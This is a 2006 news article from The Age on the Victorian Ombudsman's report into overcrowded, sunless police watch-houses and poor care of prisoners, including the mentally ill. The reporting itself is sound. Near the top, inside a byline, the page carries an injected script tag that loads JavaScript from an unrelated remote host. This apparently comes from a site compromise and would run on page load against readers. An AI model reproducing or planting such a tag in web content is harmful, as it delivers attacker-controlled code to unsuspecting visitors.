NEWS > 20 July 2006

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Darryl Rowarth andDonna King i<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

The Age - Melbourne,Victoria,A
20 July 2006

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Darryl Rowarth andDonna King i

Victoria's cells of shame

A LEGAL Aid lawyer walks into a police watch-house to visit a client when he notices the man has a slightly yellow complexion. He is suffering from jaundice, as he has been deprived of fresh air and sunlight for four weeks.

The Ombudsman's investigators enter the Melbourne Reception Centre on a hot January day this year and are greeted by the foul stench of fetid air in the overcrowded underground cell block.

Built in 1993 as a day facility to house prisoners who are attending court, it has been turned into a watch-house, where inmates can spend a month away from fresh air and sunlight.

Known as the Yellow Submarine due to the interior paintwork and the glow of artificial light, prisoners are kept in conditions that clearly breach minimum United Nations standards.

Built for 67 inmates, it now takes up to 91. Designed for overnight stays, it is now authorised to hold people for up to 28 days although Ombudsman George Brouwer found even that time frame was being breached, with one inmate held for 39 days and another for 38.

Despite previous concerns being raised, new police watch-houses have been built with no access to fresh air or sunlight. Cells built at Heidelberg, Gisborne and Preston breach Victoria Police design guidelines, which require prisoners to have access to an exterior exercise yard.

And despite the year-long investigation by Brouwer into police and prison cells, there will be little outrage that inmates are facing Third World conditions.

Because every politician knows there are no votes in prisons, as editors know there will be no circulation boost from long-running campaigns for improvements in jails.

But Brouwer's report, tabled in Parliament yesterday, makes interesting and at times damning reading.

A host of criminal justice and police reforms means that the prison population is at near record levels, jumping 55 per cent in 10 years, with 3655 inmates in custody in October last year. This explosion in numbers has occurred as the crime rate has dropped to its lowest level since 1993.

Keeping more people in jails is an expensive business and the State Government has spent $230 million on new prisons that have opened in just over 12 months � the 120-bed Beechworth jail (opened in April 2005, at a cost of $20 million), the 300-bed Management Correctional Centre in Lara (March, $80 million) and the 600- bed Metropolitan Remand Centre at Ravenhall (April, $130 million).

The Government has refurbished older prisons and built new divisions within existing facilities and will spend about $415 million this financial year keeping prisoners behind bars.

But despite these reforms, Brouwer has found serious problems with the way prisoners are treated in jails and police cells. Calls in 2002 by his predecessor, Dr Barry Perry, for improvements have been largely ignored.

He supports long-running complaints by police that they have been forced to become jailers. Police watch-houses, designed to hold prisoners who are to appear at local courts and suspects who have been arrested, have become mini jails where men and women can be held � sometimes for weeks � in ancient mouldy cells or modern facilities that lack fresh air and natural light. Police who are rostered for watch-house duty hate the job and perform their duties begrudgingly.

"Police do not view themselves as custodians at all � they perceive their crime-fighting role as central. They identify with being keepers of the peace, preventing crime and enhancing community safety. They do not want or like dealing with angry, bored detainees in very confined conditions with minimum access to services," Brouwer found.

While police remain unqualified, unwilling and apathetic about their role as part-time jailers, they have the most difficult role in the system. In prisons, inmates are categorised and placed in conditions most fitting their crimes and risk profiles.

In police watch-houses, people who should not mix are thrown in together � with potentially dangerous outcomes.

"Persons detained in police cells can be an explosive mixture of drunks, remand prisoners who should be kept separate from sentenced prisoners, persons needing to be kept separate because of their offences, first-timers, those at risk of self-harm, young people, women and the physically and mentally ill."

Many should not be there and the Ombudsman believes the situation is unnecessarily inflamed by public drunkenness remaining a criminal offence. He believes drunks need medical help, not a few hours in an unforgiving police cell.

Yesterday, the State Government went into damage control. Police and Corrections Minister Tim Holding announced that watch-houses at 54 police stations, consisting of 161 beds, would be closed. He said $3.8 million would be spent on upgrading 13 watchhouses, including the Melbourne Custody Centre, to provide natural light and ventilation.

Holding said numbers in police cells had dropped to 70 from more than 200 after three new jails were opened. "More police can now be returned to the beat, where they should be," he said.

Brouwer agrees with the Parliamentary Committee on Drugs and Crime Prevention that has twice (2001, 2006) called for public drunkenness to be decriminalised.

"It is in everyone's interest that this matter be given priority. Intoxicated persons are a danger to themselves and to others and accommodating them in unsuitable police cells � rather than taking them to health-care facilities and sobering-up centres with properly trained staff � puts them and their jailers at risk."

About five times a week, inmates in police custody are reported to have suffered injuries (246 incidents in the 2004-05 financial year). In the documented cases, nearly 25 per cent (60) involved drunks inflicting self-harm or collapsing, hitting their heads.

Police used force against inmates 129 times in the same period, using capsicum spray and foam 85 times against detainees. Brouwer found they used force against female inmates eight times.

Reasons given by police for using force included assault against police, verbal aggression and attempts to stop self-harm.

He reported that police were "punched, kicked, head-butted and spat upon".

Police Association secretary Senior Sergeant Paul Mullett has been a critic of Brouwer, who has a dual role as the director of the Office of Police Integrity.

But the two are in furious agreement that police should not be forced to act as jailers.

"This is a wake-up call for the Government. They must plan for the building of more jails so that Office of Corrections prisoners are not kept in police cells," Mullett says. Police cells are holding cells and are not designed to accommodate prisoners for long periods. It is not fair on our members nor on the people placed in the cells."

Mullett said hundreds of police could be returned to providing critical services to the public if they did not have to perform watch-house duty. He labelled as a disgrace the fact that two new police stations being built in Bendigo and Morwell will each include 28- cell watch-houses � increasing police duties as part-time jailers. According to Mullet, the new watch-houses will be internal air-conditioned facilities. This would breach UN minimum standards that recommend inmates have access to external exercise areas.

Brouwer recommends that condoms be made available within prisons, pointing out that the high rate of inmate infections from hepatitis B and C and HIV remains a threat to prisoners, staff and visitors.

"With large numbers of prisoners serving short terms of imprisonment, coupled with high levels of reoffending, the risks to the health of the broader community are significantly increased," he says.

He also found many inmates with mental illness were denied continuing treatment. "My investigators found visiting mental health staff do not have enough hours on duty to meet the need; they are too few in number and there appears to be little or no access to after-hours service."

He said up to 80 per cent of female inmates are estimated to have mental health concerns and general staff in the jail system were not trained to recognise signs of mental illness in prisoners.

Brouwer found there was an acute lack of beds at the Thomas Embley Hospital, which meant some prisoners with mental health problems could not be admitted. He said there were only 10 beds set aside for female prisoners.

He also found police were also not equipped to care for mentally ill inmates.

In one case, a man previously diagnosed with schizophrenia was kept in a police cell � that was left lit up around the clock � for eight days. He had been transferred there after spending four weeks at another police watch-house.

Unable to sleep and left without his medication, he wanted to be transferred to a jail where he could be treated.

Eventually he kicked the cell door, spilling a meal. Police then doused him with capsicum spray.

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Article sourced from

The Age - Melbourne,Victoria,A20 July 2006

Victoria's cells of shame

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The Age - Melbourne,Victoria,A
20 July 2006